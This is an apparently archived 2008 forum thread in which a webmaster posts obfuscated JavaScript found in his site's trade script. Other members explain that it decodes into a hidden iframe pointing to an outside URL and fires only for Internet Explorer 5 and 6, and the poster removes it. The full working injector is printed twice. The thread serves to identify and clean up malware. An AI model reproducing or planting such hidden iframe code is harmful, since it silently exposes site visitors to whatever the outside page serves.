Found some suspicious code.....any ideas? - GoFuckYourself.com

Ditosta · 04-23-2008, 12:32 PM

Found this on one of my trade scripts

PHP Code:


			
<s c r i p t> var s='3C696672616D65207372633D22687474703A2F2F7777772E746869737472616E6E792E636F6D2F746F706C6973742F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</s c r i p t >

CurrentlySober · 04-23-2008, 12:39 PM

any ideas? yes...

get someone who understands what it means to tell you...

OK, its a silly answer, but...

ITS ALSO A BUMP !

mrkris · 04-23-2008, 12:41 PM

1. It's javascript
2. It tells your browser to open an iframe to http://www.thistranny.com/toplist/static.php and hides it.

GrouchyAdmin · 04-23-2008, 12:44 PM

[an error occurred while processing this directive]

donborno · 04-23-2008, 12:44 PM

Quote:

Originally Posted by mrkris

1. It's javascript
2. It tells your browser to open an iframe to http://www.thistranny.com/toplist/static.php and hides it.

But only if you use IE6.0 or IE5.x

woj · 04-23-2008, 12:46 PM

safe bet is to probably remove it...

Ditosta · 04-23-2008, 01:19 PM

Thanks guys! It has been removed

04-23-2008, 12:32 PM	#1
Ditosta Confirmed User Join Date: May 2006 Location: http://www.neonasty.com Posts: 2,107	Found some suspicious code.....any ideas? Found this on one of my trade scripts PHP Code: <s c r i p t> var s='3C696672616D65207372633D22687474703A2F2F7777772E746869737472616E6E792E636F6D2F746F706C6973742F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</s c r i p t > __________________ 306213883 New Pantyhose Fetish Model LilyDouce.com Rhinopays.com

04-23-2008, 12:39 PM	#2
CurrentlySober Too lazy to wipe my ass Industry Role: Join Date: Aug 2002 Location: A Public Bathroom Posts: 38,644	any ideas? yes... get someone who understands what it means to tell you... OK, its a silly answer, but... ITS ALSO A BUMP ! __________________ My AI Handywork... My Dream Gal... XXX 👁️ 👍️ 💩

04-23-2008, 12:41 PM	#3
mrkris Confirmed User Join Date: May 2005 Posts: 2,737	1. It's javascript 2. It tells your browser to open an iframe to http://www.thistranny.com/toplist/static.php and hides it. __________________ PHP-MySQL-Rails \| ICQ: 342500546

04-23-2008, 12:44 PM	#4
GrouchyAdmin Now choke yourself! Industry Role: Join Date: Apr 2006 Posts: 12,085	[an error occurred while processing this directive] __________________ AIM: GrouchyGfy

04-23-2008, 12:46 PM	#6
woj <&(©¿©)&> Industry Role: Join Date: Jul 2002 Location: Chicago Posts: 47,882	safe bet is to probably remove it... __________________ Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000 Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager

04-23-2008, 01:19 PM	#7
Ditosta Confirmed User Join Date: May 2006 Location: http://www.neonasty.com Posts: 2,107	Thanks guys! It has been removed __________________ 306213883 New Pantyhose Fetish Model LilyDouce.com Rhinopays.com